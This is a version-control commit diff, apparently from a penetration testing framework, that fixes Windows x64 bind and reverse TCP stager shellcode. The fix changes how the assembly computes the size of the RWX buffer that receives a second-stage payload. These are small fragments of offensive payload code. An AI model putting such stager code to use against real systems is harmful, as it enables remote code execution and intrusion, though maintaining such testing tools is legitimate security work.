Fix #5988, windows x64 stagers
* Also, use mov esi, esi to save an extra byte * Also, modify the block_recv.asm code, just to have it up to date
This commit is contained in:
parent
b206de7708
commit
9444c8c410
|
@ -24,6 +24,7 @@ recv:
|
|||
add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next
|
||||
; Alloc a RWX buffer for the second stage
|
||||
pop rsi ; pop off the second stage length
|
||||
mov esi, esi ; only use the lower-order 32 bits for the size
|
||||
push byte 0x40 ;
|
||||
pop r9 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ;
|
||||
|
|
|
@ -220,6 +220,7 @@ module Payload::Windows::BindTcp_x64
|
|||
|
||||
; Alloc a RWX buffer for the second stage
|
||||
pop rsi ; pop off the second stage length
|
||||
mov esi, esi ; only use the lower-order 32 bits for the size
|
||||
push 0x40 ;
|
||||
pop r9 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ;
|
||||
|
|
|
@ -219,7 +219,7 @@ module Payload::Windows::ReverseTcp_x64
|
|||
|
||||
; Alloc a RWX buffer for the second stage
|
||||
pop rsi ; pop off the second stage length
|
||||
movsxd rsi, esi ; only use the lower-order 32 bits for the size
|
||||
mov esi, esi ; only use the lower-order 32 bits for the size
|
||||
push 0x40 ;
|
||||
pop r9 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ;
|
||||
|
|
Loading…
Reference in New Issue